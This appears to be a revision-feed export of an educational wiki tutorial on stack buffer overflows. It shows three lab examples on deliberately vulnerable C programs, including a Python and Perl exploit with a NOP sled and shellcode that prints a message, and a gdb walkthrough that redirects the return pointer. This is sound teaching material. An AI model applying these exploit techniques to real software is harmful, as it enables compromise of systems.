While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17004</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17004"/>
		<updated>2024-12-11T18:11:46Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt or apt-get. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
